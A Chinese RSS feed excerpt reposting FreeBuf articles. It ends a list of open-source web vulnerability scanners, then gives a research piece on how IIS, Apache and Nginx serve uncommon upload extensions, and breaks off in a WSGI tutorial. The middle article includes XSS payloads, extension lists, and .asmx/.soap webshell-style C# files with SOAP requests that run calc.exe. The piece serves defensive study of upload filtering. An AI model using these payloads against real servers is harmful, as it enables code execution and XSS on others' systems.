 &lt;p&gt;一个有力的事实是，微软、斯坦福、摩托罗拉、Informatica等很多大型企业机构都在用这款基于python的XSS（跨站脚本）漏洞扫描器。它的编写者Faizan Ahmad才华出众，XssPy是一个非常智能的工具，不仅能检查主页或给定页面，还能够检查网站上的所有链接以及子域。因此，XssPy的扫描非常细致且范围广泛。&lt;/p&gt;
 &lt;p&gt;下载地址：click   &lt;a href="https://github.com/faizann24/XssPy"&gt;here&lt;/a&gt;。&lt;/p&gt;
 &lt;h2&gt;3. w3af&lt;/h2&gt;
 &lt;p&gt;w3af是一个从2006年年底开始的基于Python的开源项目，可用于Linux和Windows系统。w3af能够检测200多个漏洞，包括OWASP top 10中提到的。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="3.png" height="251" src="http://image.3001.net/images/20171127/15117492927610.png!small" width="400"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;w3af能够帮你将payload注入header、URL、cookies、字符串查询、post-data等，利用Web应用程序进行审计，且支持各种记录方法完成报告，例如：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;CSV&lt;/p&gt;
  &lt;p&gt;HTML&lt;/p&gt;
  &lt;p&gt;Console&lt;/p&gt;
  &lt;p&gt;Text&lt;/p&gt;
  &lt;p&gt;XML&lt;/p&gt;
  &lt;p&gt;Email&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;这个程序建立在一个插件架构上，所有可用插件地址：click  &lt;a href="http://w3af.org/plugins"&gt; here&lt;/a&gt;。&lt;/p&gt;
 &lt;p&gt;w3af下载地址：click   &lt;a href="http://w3af.org/"&gt;here&lt;/a&gt;。&lt;/p&gt;
 &lt;h2&gt;4. Nikto&lt;/h2&gt;
 &lt;p&gt;相信很多人对Nikto并不陌生，这是由Netsparker（专做web安全扫描器企业，总部坐标英国）赞助的开源项目，旨在发现Web服务器配置错误、插件和Web漏洞。Nikto对6500多个风险项目进行过综合测试。支持HTTP代理、SSL或NTLM身份验证等，还能确定每个目标扫描的最大执行时间。&lt;/p&gt;
 &lt;p&gt;Nikto也适用于Kali Linux。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="4.png" height="415" src="http://image.3001.net/images/20171127/15117493223191.png!small" width="579"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;Nikto在企业内部网络解决方案中查找web服务器安全风险的应用前景非常广阔。&lt;/p&gt;
 &lt;p&gt;下载地址：click   &lt;a href="https://github.com/sullo/nikto"&gt;here&lt;/a&gt;。&lt;/p&gt;
 &lt;h2&gt;5. Wfuzz&lt;/h2&gt;
 &lt;p&gt;Wfuzz（Web Fuzzer）也是渗透中会用到的应用程序评估工具。它可以对任何字段的HTTP请求中的数据进行模糊处理，对Web应用程序进行审查。&lt;/p&gt;
 &lt;p&gt;Wfuzz需要在被扫描的计算机上安装Python。具体的使用指南可参见这个：  &lt;a href="https://wfuzz.readthedocs.io/en/latest/"&gt;链接&lt;/a&gt;。&lt;/p&gt;
 &lt;p&gt;Wfuzz下载地址：click   &lt;a href="https://github.com/xmendez/wfuzz"&gt;here&lt;/a&gt;。&lt;/p&gt;
 &lt;h2&gt;  &lt;strong&gt;6. OWASP ZAP&lt;/strong&gt;&lt;/h2&gt;
 &lt;p&gt;ZAP（Zet Attack Proxy）是全球数百名志愿者程序员在积极更新维护的著名渗透测试工具之一。它是一款跨平台的Java工具，甚至都可以在Raspberry Pi上运行。ZAP在浏览器和Web应用程序之间拦截和检查消息。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="5.jpeg" height="400" src="http://image.3001.net/images/20171127/15117493471009.jpeg!small" width="500"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;ZAP值得一提的优良功能：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;Fuzzer&lt;/p&gt;
  &lt;p&gt;自动与被动扫描&lt;/p&gt;
  &lt;p&gt;支持多种脚本语言&lt;/p&gt;
  &lt;p&gt;Forced browsing（强制浏览）&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;下载地址：click   &lt;a href="https://github.com/zaproxy/zaproxy"&gt;here&lt;/a&gt;。&lt;/p&gt;
 &lt;h2&gt;7. Wapiti&lt;/h2&gt;
 &lt;p&gt;Wapiti扫描特定的目标网页，寻找能够注入数据的脚本和表单，从而验证其中是否存在漏洞。它不是对源代码的安全检查，而是执行黑盒扫描。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="6.png" height="277" src="http://image.3001.net/images/20171127/15117493781613.png!small" width="350"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;支持GET和POST HTTP请求方式、HTTP和HTTPS代理以及多个认证等。&lt;/p&gt;
 &lt;p&gt;下载地址：click  &lt;a href="http://wapiti.sourceforge.net/"&gt; here&lt;/a&gt;。&lt;/p&gt;
 &lt;h2&gt;8. Vega&lt;/h2&gt;
 &lt;p&gt;Vega由Subgraph开发，Subgraph是一个用Java编写的多平台支持工具，用于查找XSS，SQLi、RFI和很多其它的漏洞。&lt;/p&gt;
 &lt;p&gt;Vega的图形用户界面相对来说比较美观。它可以通过特定的凭证登录某个应用后执行自动扫描。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="7.png" height="395" src="http://image.3001.net/images/20171127/15117494229375.png!small" width="450"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;如果你懂开发，还可以利用vega API创建新的攻击模块。&lt;/p&gt;
 &lt;p&gt;下载地址：click   &lt;a href="https://subgraph.com/vega/"&gt;here&lt;/a&gt;。&lt;/p&gt;
 &lt;h2&gt;9. SQLmap&lt;/h2&gt;
 &lt;p&gt;顾名思义，我们可以借助sqlmap对数据库进行渗透测试和漏洞查找。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="8.png" height="274" src="http://image.3001.net/images/20171127/15117494531932.png!small" width="500"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;支持所有操作系统上的Python 2.6或2.7。如果你正在查找SQL注入和数据库漏洞利用，sqlmap是一个好助手。&lt;/p&gt;
 &lt;p&gt;下载地址：click   &lt;a href="https://github.com/sqlmapproject/sqlmap"&gt;here&lt;/a&gt;。&lt;/p&gt;
 &lt;h2&gt;10. Grabber&lt;/h2&gt;
 &lt;p&gt;这也是一个做得不错的Python小工具。这里列举一些特色功能：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;JavaScript源代码分析器&lt;/p&gt;
  &lt;p&gt;跨站点脚本、SQL注入、SQL盲注&lt;/p&gt;
  &lt;p&gt;利用PHP-SAT的PHP应用程序测试&lt;/p&gt;
&lt;/blockquote&gt;
 &lt;p&gt;下载地址：click  &lt;a href="http://rgaucher.info/beta/grabber/"&gt; here&lt;/a&gt;。&lt;/p&gt;
 &lt;h2&gt;11. Golismero&lt;/h2&gt;
 &lt;p&gt;这是一个管理和运行Wfuzz、DNS recon、sqlmap、OpenVas、机器人分析器等一些流行安全工具的框架。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="9.jpg" height="328" src="http://image.3001.net/images/20171127/15117494859252.jpg!small" width="450"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;Golismero非常智能，能够整合其它工具的测试反馈，输出一个统一的结果。&lt;/p&gt;
 &lt;p&gt;下载地址：click  &lt;a href="http://www.golismero.com/"&gt; here&lt;/a&gt;。&lt;/p&gt;
 &lt;h2&gt;12. OWASP Xenotix XSS&lt;/h2&gt;
 &lt;p&gt;OWASP的Xenotix XSS是一个用于查找和利用跨站点脚本的高级框架，内置了三个智能模糊器，用于快速扫描和结果优化。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="10.png" height="298" src="http://image.3001.net/images/20171127/15117495152127.png!small" width="500"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;这款工具有上百个功能，详细的功能列表与下载地址：click   &lt;a href="https://www.owasp.org/index.php/OWASP_Xenotix_XSS_Exploit_Framework"&gt;here&lt;/a&gt;。&lt;/p&gt;
 &lt;p&gt;网络安全对于在线业务至关重要，希望上面这些免费的漏扫程序能够帮助各位读者及时发现风险，在被恶意人员利用之前即完成漏洞修复。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;*参考来源：   &lt;a href="https://geekflare.com/open-source-web-security-scanner/"&gt;geekflare&lt;/a&gt;，FB小编柚子编译，转载请注明来自FreeBuf.COM&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>WEB安全 开源 漏洞</category>
      <guid isPermaLink="true">https://itindex.net/detail/57742-%E6%9C%80%E5%A5%BD-%E5%BC%80%E6%BA%90-web</guid>
      <pubDate>Sat, 02 Dec 2017 15:00:59 CST</pubDate>
    </item>
    <item>
      <title>血淋林的例子告诉你，为什么防“上传漏洞”要用白名单</title>
      <link>https://itindex.net/detail/57734-%E5%91%8A%E8%AF%89-%E4%B8%8A%E4%BC%A0-%E6%BC%8F%E6%B4%9E</link>
      <description>&lt;p&gt;  &lt;img alt="1.png" height="297" src="http://image.3001.net/images/20171126/15117006647354.png!small" width="602"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;一般来说，当你在写文件上传功能的代码时，你都需要使用”白名单”或“黑名单”来检查并限制用户上传文件的扩展名。&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;当我阅读了   &lt;a href="https://twitter.com/ldionmarcil"&gt;@Idionmarcil&lt;/a&gt;的【   &lt;a href="https://twitter.com/ldionmarcil/status/922553386645454850"&gt;这篇文章&lt;/a&gt;】之后，我决定要深入了解一下当前热门的Web服务器是如何处理各种类型的扩展名的。&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;首先，我需要知道Web服务器在处理不同文件类型时所返回的content-type内容。一般来说，开发者只会在黑名单中添加某些“臭名昭著”的扩展名。但是在这篇文章中，我要分析的对象将是一些使用没那么广泛的文件类型。&lt;/p&gt;
 &lt;p&gt;在本文中，用于演示的PoC Payload如下：&lt;/p&gt;
 &lt;p&gt;1.      基础XSS Payload：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;&amp;lt;script&amp;gt;alert(1337)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;2.      基于XML的XSS Payload：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;&amp;lt;a:scriptxmlns:a=&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;&amp;gt;alert(1337)&amp;lt;/a:script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;下面，我将给大家介绍我的研究成果。&lt;/p&gt;
 &lt;h2&gt;ISS Web服务器&lt;/h2&gt;
 &lt;p&gt;默认配置下，ISS针对文件类型所返回的content-type为text/html，具体请看下面的列表：&lt;/p&gt;
 &lt;p&gt;扩展名的基本向量：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;.cer
.hxt
.htm&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;  &lt;img alt="2.png" height="318" src="http://image.3001.net/images/20171126/15117007057527.png!small" width="651"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;因此，我们就可以将基础XSS向量复制到上传文件中，当我们打开文档之后，浏览器中便会弹出一个对话框。对于下面的列表中所包含的扩展名，IIS服务器所响应的content-type将允许我们通过基于XML的攻击向量来执行XSS攻击：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;.dtd
.mno
.vml
.xsl
.xht
.svg
.xml
.xsd
.xsf
.svgz
.xslt
.wsdl
.xhtml   &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="3.png" height="343" src="http://image.3001.net/images/20171126/15117007404617.png!small" width="657"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;默认配置下，IIS还会支持SSI，但是处于安全方面的考虑，Payload的执行可能会被禁止。&lt;/p&gt;
 &lt;p&gt;针对SSI的扩展：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;.stm
.shtm
.shtml

   &lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;  &lt;img alt="4.png" height="180" src="http://image.3001.net/images/20171126/15117007617815.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;如果你想了解更多关于SSI的详细信息，请参考  &lt;a href="https://twitter.com/ldionmarcil/status/922561177636311041"&gt;@ldionmarcil&lt;/a&gt;的【  &lt;a href="https://twitter.com/ldionmarcil/status/922561177636311041"&gt;这篇文章&lt;/a&gt;】。&lt;/p&gt;
 &lt;p&gt;除此之外，这里还有另外两个有趣的扩展名（.asmx和 .soap）同样能够允许我们实现任意代码执行，而这两个扩展名是Yury Aleinov发现的，感兴趣的同学可以访问  &lt;a href="https://twitter.com/YuryAleinov"&gt;@YuryAleinov&lt;/a&gt;的Twitter以获取更多信息。&lt;/p&gt;
 &lt;h3&gt;asmx后缀&lt;/h3&gt;
 &lt;p&gt;1.      如果你可以上传后缀名为.asmx的文件，那你也许就可以通过它来实现任意代码执行。比如说，我们来看看下面这个文件的内容:&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;&amp;lt;%@ WebService Language=&amp;quot;C#&amp;quot;Class=&amp;quot;MyClass&amp;quot; %&amp;gt;
using System.Web.Services;
using System;
using System.Diagnostics;
 
 
 [WebService(Namespace=&amp;quot;&amp;quot;)]
 public class MyClass : WebService 
 {
    [WebMethod]
    public string Pwn_Function()
    {
        Process.Start(&amp;quot;calc.exe&amp;quot;);
        return &amp;quot;PWNED&amp;quot;;
    }
 }&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="5.png" height="296" src="http://image.3001.net/images/20171126/15117011006303.png!small" width="396"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;2.      接下来，我们向上传的文档发送POST请求：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;POST /1.asmx HTTP/1.1
Host: localhost
Content-Type: application/soap+xml;charset=utf-8
Content-Length: 287
   
&amp;lt;?xml version=&amp;quot;1.0&amp;quot;encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;
&amp;lt;soap12:Envelopexmlns:xsi=&amp;quot;http://www.w3.org/2001/XMLSchema-instance&amp;quot;xmlns:xsd=&amp;quot;http://www.w3.org/2001/XMLSchema&amp;quot;xmlns:soap12=&amp;quot;http://www.w3.org/2003/05/soap-envelope&amp;quot;&amp;gt;
 &amp;lt;soap12:Body&amp;gt;
   &amp;lt;Pwn_Function/&amp;gt;
 &amp;lt;/soap12:Body&amp;gt;
&amp;lt;/soap12:Envelope&amp;gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="6.png" height="310" src="http://image.3001.net/images/20171126/15117011329716.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;3.      大家可以看到，结果就是我们成功让IIS运行了“calc.exe”。&lt;/p&gt;
 &lt;h3&gt;soap后缀&lt;/h3&gt;
 &lt;p&gt;使用后缀.soap上传的文件内容如下：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;&amp;lt;%@ WebService Language=&amp;quot;C#&amp;quot;Class=&amp;quot;MyClass&amp;quot; %&amp;gt;
using System.Web.Services;
using System;
 
public class MyClass : MarshalByRefObject
{
   public MyClass() { 
            System.Diagnostics.Process.Start(&amp;quot;calc.exe&amp;quot;);
         }                      
}&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;SOAP请求:&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;POST /1.soap HTTP/1.1
Host: localhost
Content-Length: 283
Content-Type: text/xml; charset=utf-8
SOAPAction: &amp;quot;/&amp;quot;
 
&amp;lt;?xml version=&amp;quot;1.0&amp;quot;encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;
&amp;lt;soap:Envelopexmlns:xsi=&amp;quot;http://www.w3.org/2001/XMLSchema-instance&amp;quot;xmlns:xsd=&amp;quot;http://www.w3.org/2001/XMLSchema&amp;quot;xmlns:soap=&amp;quot;http://schemas.xmlsoap.org/soap/envelope/&amp;quot;&amp;gt;
 &amp;lt;soap:Body&amp;gt;
   &amp;lt;MyFunction /&amp;gt;
 &amp;lt;/soap:Body&amp;gt;
&amp;lt;/soap:Envelope&amp;gt;&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="7.png" height="355" src="http://image.3001.net/images/20171126/15117012006344.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;h2&gt;Apache（httpd或Tomcat）&lt;/h2&gt;
 &lt;p&gt;基础向量后缀：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;.shtml&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;.html.de或.html.xxx (xxx 为任意字符)*&lt;/p&gt;
 &lt;p&gt;基于XML向量的后缀：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;.rdf
.xht
.xml
.xsl
.svg
.xhtml
.svgz&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;p&gt;如果“.html.”后面跟有任意字符的话，Apache的响应信息中content-type为text/html。&lt;/p&gt;
 &lt;p&gt;  &lt;img alt="8.png" height="482" src="http://image.3001.net/images/20171126/15117012475294.png!small" width="690"&gt;&lt;/img&gt;&lt;/p&gt;
 &lt;p&gt;需要注意的是，在处理很多不同类型的文件后缀时，Apache所返回的响应信息中可能会不包含Content-type头，而这将有可能导致XSS攻击的发生。因为浏览器在处理这种页面时，不同浏览器的处理方法是不同的。比如说，Firefox对后缀为.xbl和.xml的文件所采用的处理方法非常类似，而这类响应中是不包含Content-type头的，所以我们就可以利用基于XML的攻击向量来对目标浏览器发动XSS攻击了。&lt;/p&gt;
 &lt;h2&gt;Nginx&lt;/h2&gt;
 &lt;p&gt;基础向量后缀：&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;.htm&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;基于XML的向量后缀：&lt;/p&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;pre&gt;  &lt;code&gt;.svg
.xml
.svgz&lt;/code&gt;&lt;/pre&gt;
 &lt;p&gt;&lt;/p&gt;
 &lt;h2&gt;总结&lt;/h2&gt;
 &lt;p&gt;本文对当前热门Web服务器处理各种文件后缀的方法进行了简单分析，如果你还想了解更多关于“利用文件后缀和Content-Type来发动XSS攻击”的详细内容，请参考这篇文章【  &lt;a href="http://pwndizzle.blogspot.ru/2015/07/xss-extensions-and-content-types.html"&gt;传送门&lt;/a&gt;】。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;* 参考来源：   &lt;a href="https://mike-n1.github.io/ExtensionsOverview"&gt;mike-n1&lt;/a&gt;，FB小编Alpha_h4ck编译，转载请注明来自FreeBuf.COM&lt;/strong&gt;&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>WEB安全 系统安全 上传漏洞 白名单</category>
      <guid isPermaLink="true">https://itindex.net/detail/57734-%E5%91%8A%E8%AF%89-%E4%B8%8A%E4%BC%A0-%E6%BC%8F%E6%B4%9E</guid>
      <pubDate>Fri, 01 Dec 2017 15:00:18 CST</pubDate>
    </item>
    <item>
      <title>Python WSGI 初探</title>
      <link>https://itindex.net/detail/57623-python-wsgi</link>
      <description>&lt;h1&gt;WSGI 是什么&lt;/h1&gt;

 &lt;p&gt;在构建 Web 应用时，通常会有 Web Server 和 Application Server 两种角色。其中 Web Server 主要负责接受来自用户的请求，解析 HTTP 协议，并将请求转发给 Application Server，Application Server 主要负责处理用户的请求，并将处理的结果返回给 Web Server，最终 Web Server 将结果返回给用户。&lt;/p&gt;

 &lt;p&gt;由于有很多动态语言和很多种 Web Server，他们彼此之间互不兼容，给程序员造成了很大的麻烦。因此就有了 CGI/FastCGI 协议，定义了 Web Server 如何通过输入输出与 Application Server 进行交互，将 Web 应用程序的接口统一了起来。&lt;/p&gt;

 &lt;p&gt;那么 WSGI 又是什么呢？WSGI（Web Server Gateway Interface） 是   &lt;a href="https://www.python.org/dev/peps/pep-0333/"&gt;Python PEP333&lt;/a&gt;中提出的一个 Web 开发统一规范（后更新为   &lt;a href="https://www.python.org/dev/peps/pep-3333/"&gt;PEP3333&lt;/a&gt;）。虽然前面说过，有了 CGI/FastCGI 协议，不同的 Application Server 和 Web Server 之前能够以相同的规范进行交互。但是，Web 应用的开发通常都会涉及到 Web 框架的使用，各个 Web 框架内部由于实现不同相互不兼容，给用户的学习，使用和部署造成了很多麻烦。WSGI 就是一个用于统一 Application Server 和 Web 框架之间交互和调用的规范。WSGI 约定了怎么调用 web 应用程序的代码，web 应用程序需要符合什么样的规范，只要 web 应用程序和 Application Server 都遵守 WSGI 协议，那么，web 应用程序和  Application Server 就可以随意的组合，开发者也可以编写具有通用功能的 WSGI middleware，可以被加载到任务 WSGI Server 中。&lt;/p&gt;

 &lt;h1&gt;WSGI 标准简介&lt;/h1&gt;

 &lt;p&gt;WSGI 标准中主要定义了两种角色：&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;“server” 或 “gateway” 端&lt;/li&gt;
    &lt;li&gt;“application” 或 “framework” 端&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;这两种角色的调用关系如下图：&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="" src="http://liaoph.com/../img/in-post/python-wsgi/wsgi-interface.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;这里可以看到，WSGI 服务器需要调用应用程序的一个可调用对象，这个可调用对象（callable object）可以是一个函数，方法，类或者可调用的实例，总之是可调用的。&lt;/p&gt;

 &lt;p&gt;下面是一个 callable object 的示例，这里的可调用对象是一个函数：&lt;/p&gt;

 &lt;div&gt;  &lt;pre&gt;   &lt;code&gt;def simple_app(environ, start_response):
    &amp;quot;&amp;quot;&amp;quot;Simplest possible application object&amp;quot;&amp;quot;&amp;quot;
    status = &amp;apos;200 OK&amp;apos;
    response_headers = [(&amp;apos;Content-type&amp;apos;, &amp;apos;text/plain&amp;apos;)]
    start_response(status, response_headers)
    return [&amp;apos;Hello World&amp;apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

 &lt;p&gt;这里，我们首先要注意，这个对象接收两个参数：&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;   &lt;code&gt;environ&lt;/code&gt;：请求的环境变量，它是一个字典，包含了 HTTP 请求的首部，方法等信息&lt;/li&gt;
    &lt;li&gt;   &lt;code&gt;start_response&lt;/code&gt;：一个回调函数，在返回内容之前必须先调用这个回掉函数&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;上面的   &lt;code&gt;start_response&lt;/code&gt; 这个回调函数的作用是用于让 WSGI Server 返回响应的 HTTP 首部和 HTTP 状态码。这个函数有两个必须的参数，返回的状态码和返回的响应首部组成的元祖列表。返回状态码和首部的这个操作始终都应该在响应 HTTP body 之前执行。&lt;/p&gt;

 &lt;p&gt;还需要注意的是，最后的返回结果，应该是一个可迭代对象，这里是将返回的字符串放到列表里。如果直接返回字符串可能导致 WSGI 服务器对字符串进行迭代而影响响应速度。&lt;/p&gt;

 &lt;p&gt;当然，这个函数是一个最简单的可调用对象，它也可以是一个类或者可调用的类实例。&lt;/p&gt;

 &lt;h2&gt;WSGI Server &amp;amp; Web 框架&lt;/h2&gt;

 &lt;p&gt;首先 Web 框架是什么？&lt;/p&gt;

 &lt;p&gt;基于之前对 WSGI 的简单介绍，一个 Web 框架至少要能够 WSGI Server 提供一个 callable object，每一次请求 WSGI Server 都会调用这个 callable object 来完成。一般来说，一个 Web 框架还需要对开发者提供如下功能：&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;URL 的匹配和路由转发&lt;/li&gt;
    &lt;li&gt;Request/Response 的封装&lt;/li&gt;
    &lt;li&gt;错误、异常的处理&lt;/li&gt;
    &lt;li&gt;session 的支持&lt;/li&gt;
    &lt;li&gt;模板的支持&lt;/li&gt;
    &lt;li&gt;数据库 ORM 的支持&lt;/li&gt;
    &lt;li&gt;一些高级功能如 Form 表单对象，admin 后台管理的支持等&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;以上功能都是 Web 框架对开发者提供的接口，而 WSGI 服务器只关心需要调用的 callable object. Python 的 wsgiref 库就实现了一个简单的 WSGI 服务器，我们可以借助这个 WSGI 服务器来测试我们的 application.&lt;/p&gt;

 &lt;h2&gt;Werkzeug&lt;/h2&gt;

 &lt;p&gt;Werkzeug 是一个 WSGI 工具包，它可以作为 web 框架的底层库，当 web 框架的开发者更轻松的开发 WSGI Web 框架。在之前，我们使用这样的方式构造我们的 WSGI 应用：&lt;/p&gt;

 &lt;div&gt;  &lt;pre&gt;   &lt;code&gt;def application(environ, start_response):
    start_response(&amp;apos;200 OK&amp;apos;, [(&amp;apos;Content-Type&amp;apos;, &amp;apos;text/plain&amp;apos;)])
    return [&amp;apos;Hello World!&amp;apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

 &lt;p&gt;Werkzeug允许我们以一个轻松的方式访问数据，提供了更好的方法来创建响应。如下所示：&lt;/p&gt;

 &lt;div&gt;  &lt;pre&gt;   &lt;code&gt;from werkzeug.wrappers import Response

 def application(environ, start_response):
    response = Response(&amp;apos;Hello World!&amp;apos;, mimetype=&amp;apos;text/plain&amp;apos;)
    return response(environ, start_response)
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

 &lt;h2&gt;wsgiref&lt;/h2&gt;

 &lt;p&gt;我们可以借助 python 的   &lt;code&gt;wsgiref&lt;/code&gt; 库运行一个 WSGI 服务器（当然这个 WSGI 服务器同时也是 Web 服务器），用它来运行我们的 application.&lt;/p&gt;

 &lt;div&gt;  &lt;pre&gt;   &lt;code&gt;#! /usr/bin/env python

from wsgiref.simple_server import make_server

def application (environ, start_response):

    # 这里从 environ 字典中获取所有的变量值
    response_body = [
        &amp;apos;%s: %s&amp;apos; % (key, value) for key, value in sorted(environ.items())
    ]
    response_body = &amp;apos;\n&amp;apos;.join(response_body)

    status = &amp;apos;200 OK&amp;apos;
    response_headers = [
        (&amp;apos;Content-Type&amp;apos;, &amp;apos;text/plain&amp;apos;),
        (&amp;apos;Content-Length&amp;apos;, str(len(response_body)))
    ]
    start_response(status, response_headers)

    return [response_body]

# 启动 WSGI  服务器
httpd = make_server (
    &amp;apos;localhost&amp;apos;,
    8051,
    application # 这里指定我们的 application object)

# 开始处理请求
httpd.handle_request()
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

 &lt;p&gt;运行上面的程序，并访问 http://localhost:8051，将返回此次请求所有的首部信息。&lt;/p&gt;

 &lt;p&gt;这里，我们利用 environ 字典，获取了请求中所有的变量信息，构造成相应的内容返回给客户端。&lt;/p&gt;

 &lt;p&gt;environ 这个参数中包含了请求的首部，URL，请求的地址，请求的方法等信息。可以参考   &lt;a href="https://www.python.org/dev/peps/pep-3333/#environ-variables"&gt;PEP3333&lt;/a&gt; 来查看 environ 字典中必须包含哪些 CGI 变量。&lt;/p&gt;

 &lt;h2&gt;WSGI Server&lt;/h2&gt;

 &lt;p&gt;上面我们使用   &lt;code&gt;wsgiref&lt;/code&gt; 库中的 WSGI 服务器来运行我们的程序，其实，知道了 WSGI 标准，我们可以自己实现一个 WSGI 服务器，它需要实现如下基本功能：&lt;/p&gt;

 &lt;ul&gt;
    &lt;li&gt;监听端口，接收请求&lt;/li&gt;
    &lt;li&gt;解析 HTTP 协议&lt;/li&gt;
    &lt;li&gt;调用 application，构造响应首部&lt;/li&gt;
    &lt;li&gt;将响应返回给客户端&lt;/li&gt;
&lt;/ul&gt;

 &lt;p&gt;这里是一个 WSGI Server 的范例：&lt;/p&gt;

 &lt;div&gt;  &lt;pre&gt;   &lt;code&gt;import socket
import StringIO
import sys


class WSGIServer(object):

    address_family = socket.AF_INET
    socket_type = socket.SOCK_STREAM
    request_queue_size = 1

    def __init__(self, server_address):
        # 创建监听端口
        self.listen_socket = listen_socket = socket.socket(
            self.address_family,
            self.socket_type
        )
        listen_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        listen_socket.bind(server_address)
        listen_socket.listen(self.request_queue_size)
        # 获取主机名和端口信息
        host, port = self.listen_socket.getsockname()[:2]
        self.server_name = socket.getfqdn(host)
        self.server_port = port
        self.headers_set = []

    def set_app(self, application):
        self.application = application

    def serve_forever(self):
        listen_socket = self.listen_socket
        while True:
            # 处理客户端连接
            self.client_connection, client_address = listen_socket.accept()
            self.handle_one_request()

    def handle_one_request(self):
        self.request_data = request_data = self.client_connection.recv(1024)
        # 打印接收的数据
        print(&amp;apos;&amp;apos;.join(
            &amp;apos;&amp;lt; {line}\n&amp;apos;.format(line=line)
            for line in request_data.splitlines()
        ))

